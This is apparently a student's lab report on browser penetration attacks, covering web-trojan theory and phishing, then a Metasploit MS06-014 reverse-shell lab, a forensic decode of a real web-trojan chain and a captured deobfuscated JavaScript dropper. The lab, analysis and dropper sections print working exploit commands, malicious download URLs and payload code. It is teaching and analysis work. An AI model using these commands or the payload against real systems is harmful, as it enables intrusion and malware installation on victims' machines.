一、知识梳理

1.Web浏览器的技术发展与安全威胁

1.1Web浏览器与技术发展

1.1.1浏览器战争

浏览器大战,指不同的网络浏览器之间的市场份额竞争。常用来指以下两组竞争:第一组是20世纪时微软公司的Internet Explorer取代了网景公司,Netscape Navigator主导地位,这场大战甚至引发了美国诉微软案官司。第二组为2003年后Internet Explorer份额遭其他浏览器蚕食,包括Mozilla FirefoxGoogle ChromeSafariOpera

1.1.2浏览器技术发展

古典命令行浏览器仅仅实现了简单的HTTP客户端、HTML解析与渲染功能,而在浏览器的商业竞争中,出现了高度注重用户使用感受的图形界面浏览器软件,并逐步提供了图片、音视频等多媒体的支持,逐步进化目前互联网用户所依赖的现代浏览器。

1.1.3现代Web浏览器的基本结构与机理

 

 

目前的现代Web浏览器要求能够理解和支持HTMLXHTMLCascadingStyleSheets (CSS)ECMAScriptW3C Document Object Model (DOM)等一系列标准需要支持各种应用层协议的Stream流接收与解析,并维护DOM对象模型结构,通过支持EMCAScript标准构建JavaScript. FlashActionScript等客户端脚本语言的执行环境,以及支持CSS标准控制页面的布局,最终在浏览器终端中将服务器端的各种流媒体对象、应用程序、客户端脚本执行效果进行渲染,展现给终端用户。

 

1.2Web浏览器的安全问题与威胁

1.2.1Web浏览器软件的安全困境三要素

1)复杂性:现代Web浏览器软件由于需要支持HTTPHTTPS FTP等多种类型的应用层协议浏览,符合HTMLXHTMLCSS等一系列的页面标准规范,支持JavaScriptFlashJava SilverLight 等多种客户端执行环境,并满足大量的用户浏览需求,已经变得非常复杂和庞大,这意味着更多的错误和安全缺陷,也就导致了目前浏览器软件中存在着可被渗透攻击所利用的大量安全漏洞。

2)可扩展性:现代Web浏览器可能是最突出可扩展特性支持的软件类型,目前儿乎所有的现代浏览器软件都支持第三方插件扩展机制,并通过JavaScript等客户端脚本执行环境、沙箱和虚拟机来执行富Internet应用程序。而相对于大型软件厂商所开发的浏览器软件本身而言,三方扩展插件的开发过程更缺乏安全保证,出现安全漏洞的情况更为普遍。此外,浏览器插件一般也不具备自动版本更新的机制,安全漏洞被利用的时间周期较系统软件与浏览器软件本身漏洞要长。

3)连通性:现代Web浏览器本身就是为用户实现随时随地浏览互联网这一目标而存在的,因此浏览器软件始终工作在联网状态,一旦其中存在安全漏洞,就很容易被网络上的威胁源所利用与攻击。

1.2.2Web浏览器安全威胁位置

如同Web应用服务端一样,Web浏览魂晶中的每个组件都面对着各种不同类型的安全威胁:

·针对传输网络的网络协议安全威胁。

·针对Web了浏览器系统的平台安全威胁。

·针对Web浏览器软件及插件程序的渗透攻击威胁。

·针对互联网用户的社会工程学攻击威胁。

 

 

2.Web浏览端的渗透攻击威胁——网页木马

2.1网页木马安全威胁的产生背景

2.1.1

网页木马是从而以网页脚本所孕育和发展出来的,如早期的的浏览器主页劫持、网页炸弹等。而黑客们进一步发掘出在浏览器端执行的恶意网页脚本能够利用客户端软件安全漏洞来获取访问权的机会,在浏览断之如恶意程序或进行其他任意操作,从而发展出网页木马这种较新的网络攻击技术.

2.1.2网页木马的产生与发展北京

网页木马是从而以网页脚本所孕育和发展出来的,如早期的的浏览器主页劫持、网页炸弹等。而黑客们进一步发掘出在浏览器端执行的恶意网页脚本能够利用客户端软件安全漏洞来获取访问权的机会,在浏览断之如恶意程序或进行其他任意操作,从而发展出网页木马这种较新的网络攻击技术。

2.1.2web浏览器安全威胁类型

1)网络钓鱼(Phishing):架设钓鱼网站,如知名金融机构及商务网站,发送大量欺骗性垃圾邮件,诱骗因特网用户访问钓鱼网站并以敏感信息登录,最后滥用个人敏感信息。

2)恶意木马与流氓软件下载:主要包括两大问题:软件捆绑安装问题Web浏览时遭遇的软件信任问题。

3)网页木马-浏览器渗透攻击:网页感染已成为国内互联网最重要的恶意代码传播形式。

4)不良信息内容。

2.2网页木马的机理分析

2.2.1网页木马的定性特性

网页木马从本质特性上是利用了现代Web浏览器软件中所支持的客户端脚本执行能力,针对Web浏览端软件安全漏洞实施客户端渗透攻击,从而取得在客户端主机的远程代码执行权限来植入恶意程序。从根本上来说,网页木马是针对Web浏览端软件实施的客户端渗透攻击代码。

2.2.2对网页木马机理的全方位分析与理解。

与传统的服务器端渗透攻击可以主动的进行网络扫描与攻击不同,网页木马的攻击是被动式的,需要通过一些技术方法来诱使互联网用户来访问网页木马页面。此外在网页木马通过渗透攻击获得远程客户端执行权限后,为了进行进一步的主机控制和敏感信息窃取,一般需要植入一些盗号木马等类型的恶意程序。黑客为了更为高效地实施网页木马这种复杂的攻击场景,建立了一套具有明确的社会职责分工的网页木马攻击技术流程:

1)病毒编写者负责实现网页木马和传统的盗号木马

2)网络骇客出卖网站访问者或攻陷不安全的网站

3信封盗窃者在木马宿主站点上放置网页木马和传统盗号木马,并通过在大量网站中嵌入恶意链接将访问者重定向至网页木马,从而构建网页木马攻击网络

4)受害者在访问挂马网站时,就会自动地链接网页木马并被其功绩,植入传统盗号木马,进而被盗取信封和虚拟资产。

 

 

2.2.3网页挂马机制

1)为使得能够有终端用户使用可能存在安全漏洞的Web浏览端软件来访问网页木马,攻击者还需要将网页木马挂接到一些拥有客户访问流量的网站页面上

2)网页挂马四策略:

内嵌HTML标签:使用内嵌HTML标签,将网页木马链接嵌入到网站首页或其他页面中

恶意Script脚本:利用script脚本标签通过外部引用脚本的方式来包含网页木马

内嵌对象链接:利用图片、Flash等内嵌对象中的特定方法来完成指定页面的加载

ARP欺骗挂马:在以上三类网站挂马策略基础上,危害更高的策略。

2.2.4混淆机制

1)提高反病毒工程师的分析难度,从而使得网页木马攻击网络更加难以被检测和摧毁

2)比较广泛使用的混淆方法:

将代码重新排版,去除缩进、空行、换行、注释等,同时将网页木马中的变量名替换为一组合法的随机字符串,使其失去自我描述的能力,从而干扰阅读分析

通过大小写变换、十六进制编码、escape编码、unicode编码等方法对网页木马进行编码混淆

通过通用或定制的加密工具对网页木马进行加密得到密文,然后使用脚本语言中包含的解密函数,对密文进行解密,再使用 document.write() eval() 进行动态输出或执行,此类混淆方法例如XXTEA网页加密工具

利用字符串运算、数学运算或特殊函数可以混淆代码,一个典型的例子是通过字符串替换函数将网页木马中的一些字符替换为其他字符构成混淆后代码,然后在运行时首先替换回原先的字符,然后进行动态执行

修改网页木马文件掩码欺骗反病毒软件,或对网页木马文件结构进行混淆,来伪装正常文件,甚至将网页木马代码拆分至多个文件等。

2.4网页木马防范措施

提升操作系统与浏览器软件的安全性,如第三方插件自动更新

安装反病毒软件

养成良好的浏览习惯,借助安全评估工具的帮助,避免访问安全性低的网站。

 

3.揭开网络钓鱼的黑幕

### 3.1网络钓鱼技术概述

3.1.1什么是网络钓鱼攻击

1)网络钓鱼Phishing)攻击者利用欺骗性的电子邮件和伪造的 Web 站点来进行网络诈骗活动,受骗者往往会泄露自己的私人资料,如信用卡号、银行卡账户、身份证号等内容。诈骗者通常会将自己伪装成网络银行、在线零售商和信用卡公司等可信的品牌,骗取用户的私人信息。

3.1.2中国的网络钓鱼攻击

1)中国互联网络信息中心联合国家互联网应急中心发布的《2009年中国网民网络信息安全状况调查报告》显示,2009年有超过九成网民遇到过网络钓鱼,在遭遇过网络钓鱼事件的网民中,4500万网民蒙受了经济损失,占网民总数11.9%。网络钓鱼给网民造成的损失已达76亿元。

 

3.2网络钓鱼攻击的技术内幕

3.2.1网络钓鱼攻击的普遍技术流程

1)攻击者扫描网段,寻找有漏洞的服务器;

2)服务器被攻陷,并安装一个 Rootkit 或口令保护的后门工具;

3)攻击者从加密的后门工具获得对服务器的访问权,并下载已经构建完毕的钓鱼网站内容,进行一些网站搭建配置测试工作,使得钓鱼网站上线运行;

4)攻击者下载群发电子邮件工具,并大规模散发包含假冒钓鱼网站信息的欺骗性垃圾邮件;

5)网页浏览的流量开始到达里钓鱼网站,潜在的受害者开始访问假冒的钓鱼网站内容,并受欺骗给出个人敏感信息,攻击者通过服务器后台脚本收集这些个人敏感信息。

3.3网络钓鱼攻击的防范

对以索取个人敏感信息的邮件提高警惕性,充分利用浏览器安全访问提示,涉及网上金融操作时,务必重要网站真实性,尽量使用U盾代替证书或口令。

 

二、实践过程:

1web浏览器渗透攻击

任务:使用攻击机和Windows靶机进行浏览器渗透攻击实验,体验网页木马构造及实施浏览器攻击的实际过程。

实验步骤:

    ①选择使用Metasploit中的MS06-014渗透攻击模块

    ②选择PAYLOAD为任意远程Shell连接

    ③设置服务器地址和URL参数,运行exploit,构造出恶意网页木马脚本

    ④在靶机环境中启动浏览器,验证与服务器的连通性,并访问而已网页木马脚本URL

⑤在攻击机的Metasploit软件中查看渗透攻击状态,并通过成功渗透攻击后建立起的远程控制会话SESSION,在靶机上远程执行命令

以Kali(192.168.200.4)作为攻击机进行攻击,Win2kServer(192.168.200.124)作为靶机,确定可以ping通。在kali中输入msfconsole进入Metasploit。

 

执行命令【use exploit/windows/browser/ie_createobject】使用MS06-014作为攻击的目标漏洞,这是一个挂马漏洞,通过该漏洞可以将写好的木马挂接到正常网页上,终端用户访问该网页时即被攻击。
然后通过命令【set PAYLOAD windows/meterpreter/reverse_tcp】设置打开反向连接的载荷。使用【set LHOST 192.168.200.8】设置攻击机IP地址。
最后使用【exploit】发起攻击。

 

通过【exploit】建立恶意服务器,得到local IP即恶意URL,在靶机中访问该地址,回到攻击机中可以发现一个靶机到攻击机的session会话已经建立,攻击完成。

 

 

 

2)取证分析实践网页木马攻击场景分析

实践过程:

①  首先你应该访问start.html,在这个文件中给出了new09.htm的地址,

打开云班课资源start.html文件,并查找两处new09.htm

②  在进入 htm 后,每解密出一个文件地址,请对其作 32 位 MD5 散列,以散列值为文件名到 http://192.168.68.253/scom/hashed/哈希值下去下载对应的文件(注意:文件名中的英文字母为小写,且没有扩展名),即为解密出的地址对应的文件。

③如果解密出的地址给出的是网页或脚本文件,请继续解密。

④如果解密出的地址是二进制程序文件,请进行静态反汇编或动态调试。

⑤重复以上过程直到这些文件被全部分析完成。

 

 

 

用记事本打开new09.htm

 

我们可以得到两个地址:http://aa.18dd.net/aa/kl.htmhttp://js.users.51.la/1299644.js

进行32位MD5运算

MD5(http://js.users.51.la/1299644.js,32) = 23180a42a2ff1192150231b44ffdf3d3

MD5(http://aa.18dd.net/aa/kl.htm,32) = 7f60672dcd6b5e90b6772545ee219bd3

打开第一个文件1299644.js,内容为:

 

打开第二个文件kl.htm,内容为:

 

可见,第二个文件是javascript文件,只是加密了。
从这一部分代码中可以看到:这个文件使用了xxtea分组密码算法进行了加密。

t=utf8to16(xxtea_decrypt(base64decode(t), '\x73\x63\x72\x69\x70\x74'));

里面提到的变量t就是那个超级长的base64字符串,而\x73\x63\x72\x69\x70\x74应该是密钥。
先对\x73\x63\x72\x69\x70\x74进行十六进制解密(网址:https://tool.lu/hexstr/ ),得到了密钥:script

 

使用密钥script对那个超长的字符串进行解密,得到明文。

解密后的明文

再对其进行hexdecode,得到:

解码后的原代码

分析这些原代码,不难看出:

对上述提到的网页求哈希值

MD5(http://aa.18dd.net/aa/1.js,32) = 5d7e9058a857aa2abee820d5473c5fa4

MD5(http://aa.18dd.net/aa/b.js,32) = 3870c28cc279d457746b3796a262f166

MD5(http://aa.18dd.net/aa/pps.js,32) = 5f0b8bf0385314dbe0e5ec95e6abedc2

MD5(http://down.18dd.net/bb/bd.cab,32) = 1c1d7b3539a617517c49eee4120783b2

然后按照http://192.168.68.253/scom/hashed/**MD5**的格式下载文件,得到1.js、b.js、pps.js、bd.cab这四个文件。接下来依次对这些文件进行分析。

引出的js文件分析

 

包含十六进制字符串,对其进行hexdecode,得

 

 

将前面的eval改成alert,然后用script标签包裹起来,将其改成htm文件,查看返回的字符,使用脚本工具FreShow对该字符串进行两次解码。

 

第一次解码得到了十六进制字符串

 

第二次解码得到的结果中出现了下面的字符:

GetProc"+"AddressGetSyste"+"mDirectoryAWinE"+"xecExitThreadL"+"oadLibraryAurlm"+"onURLDownloadTo"+"FileAhttp://down.18dd.net/bb/bf.exe

分析得出,这个文件会从http://down.18dd.net/bb/bf.exe,将一个名叫bf.exe文件下载下来。

pps.js

 

使用FreShow解码三次解码

 

第一次解码,得到全是%u的字符串和部分正常显示的字符串,容易得知这是shellcode编码。

 

 

http://down.18dd.net/bb/pps.exe 。该链接会下载pps.exe文件

bd.cab

bd.cab是一个压缩文件,将该文件进行解压缩,可得到bd.exe文件。

对上述三个链接求MD5值

MD5(http://down.18dd.net/bb/014.exe,32) = ca4e4a1730b0f69a9b94393d9443b979

MD5(http://down.18dd.net/bb/bf.exe,32) = 268cbd59fbed235f6cf6b41b92b03f8e

MD5(http://down.18dd.net/bb/pps.exe,32) = ff59b3b8961f502289c1b4df8c37e2a4

然后按照http://192.168.68.253/scom/hashed/**MD5**的格式下载文件,得到014.exe、bf.exe、pps.exe这三个可执行文件。

可执行文件的分析

查看PEiD

 

用IDA进行反编译

 

在Strings Window中发现了20个用于下载exe文件的链接

 

尝试将这个程序和下载出来的1~20.exe文件使用杀毒软件进行扫描,杀毒软件报告称:发现了风险。

 

查询可知,Worm/Autorun.r是一种蠕虫病毒,HVM:Trojan/MalBehav.gen!B是一种木马病毒

3)攻防对抗实践—web浏览器渗透攻击攻防

攻击方使用Metasploit构造出至少两个不同Web浏览端软件安全漏洞的渗透攻击代码,并进行混淆处理之后组装成一个URL,通过具有欺骗性的电子邮件发送给防守方。

防守方对电子邮件中的挂马链接进行提取、解混淆分析、尝试恢复出渗透代码的原始形态,并分析这些渗透代码都是攻击哪些Web浏览端软件的哪些安全漏洞。

选择实验1中的MS06_014漏洞,重复先前步骤,在攻击前打开wireshark监听。
执行攻击

 

获取恶意网站链接http://192.168.200.66:8080/LYEjTbusjcwZ1,在靶机打开网站

 

 

观察从靶机发送给攻击机的信息

 

追踪TCP流,发现一串很长很长的代码 ,而且有很多空格
经过反混淆和格式化处理后,得到如下的 JS 代码

function eKXqxEpEOOOxsLSXxJeRxJCn(a) {
    var s = jwnxVgMVVlmT(a, "WScript.Shell");
    var o = jwnxVgMVVlmT(a, "ADODB.Stream");
    var e = s.Environment("Process");
    var url = document.location + '/payload';
    var xml = null;
    var bin = e.Item("TEMP") + "\\MrDqdDEsHwVsvWYbTDp.exe";
    var dat;
    try {
        xml = new XMLHttpRequest()
    } catch (e) {
        try {
            xml = new ActiveXObject("Microsoft.XMLHTTP")
        } catch (e) {
            xml = new ActiveXObject("MSXML2.ServerXMLHTTP")
        }
    }
    if (!xml) {
        return (0)
    }
    xml.open("GET", url, false);
    xml.send(null);
    dat = xml.responseBody;
    o.Type = 1;
    o.Mode = 3;
    o.Open();
    o.Write(dat);
    o.SaveToFile(bin, 2);
    s.Run(bin, 0)
}

function XlQTpSAsmOEMwLPxUVPUgMKrlrBR() {
    var i = 0;
    var t = new Array(' {
    BD96C556 - 65A3 - 11D0 - 983A - 00C04FC29E36
    }
    ', ' {
        BD96C556 - 65A3 - 11D0 - 983A - 00C04FC29E30
    }
    ', ' {
        7F5B7F63 - F06F - 4331 - 8A26 - 339E03C0AE3D
    }
    ', ' {
        6e32070a - 766d - 4ee6 - 879c - dc1fa91d2fc3
    }
    ', ' {
        6414512B - B978 - 451D - A0D8 - FCFDF33E833C
    }
    ', ' {
        06723E09 - F4C2 - 43c8 - 8358 - 09FCD1DB0766
    }
    ', ' {
        639F725F - 1B2D - 4831 - A9FD - 874847682010
    }
    ', ' {
        BA018599 - 1DB3 - 44f9 - 83B4 - 461454C84BF8
    }
    ', ' {
        D0C07D56 - 7C69 - 43F1 - B4A0 - 25F5A11FAB19
    }
    ', ' {
        E8CCCDDF - CA28 - 496b - B050 - 6C07C962476B
    }
    ', ' {
        AB9BCEDD - EC7E - 47E1 - 9322 - D4A210617116
    }
    ', ' {
        0006F033 - 0000 - 0000 - C000 - 000000000046
    }
    ', ' {
        0006F03A - 0000 - 0000 - C000 - 000000000046
    }
    ', null);
    while (t[i]) {
        var a = null;
        if (t[i].substring(0, 1) == ' {
    ') {
            a = document.createElement("object");
            a.setAttribute("classid", "clsid:" + t[i].substring(1, t[i].length - 1))
        } else {
            try {
                a = new ActiveXObject(t[i])
            } catch (e) {}
        }
        if (a) {
            try {
                var b = jwnxVgMVVlmT(a, "WScript.Shell");
                if (b) {
                    eKXqxEpEOOOxsLSXxJeRxJCn(a);
                    return (0)
                }
            } catch (e) {}
        }
        i++
    }
}

  

攻击者使用的漏洞是MS06-014。

 

三.学习中遇到的问题及解决

问题:在使用sessions -i 1打开会话时失败,发现会话早已提前关闭。

问题解决方案:将set payload windows/meterpreter/reverse_tcp命令替换成set payload generic/shell_reverse_tcp,如下图所示,则会话不会关闭

 

四.实践总结

 

本周实践主要学习了web浏览器渗透攻击,网页木马攻击场景分析以及攻防对抗实践等,通过以上学习进一步加深了自己对网络安全知识的理解,实验难度比较大,中间也参考了一些同学的思路,若想学好网络攻防,也应该补充和理解相应的理论知识,理论和实践相结合,能够融会贯通。

Posted on 2022-05-29 11:45  20212939-陈恒勃  阅读(323)  评论(0编辑  收藏  举报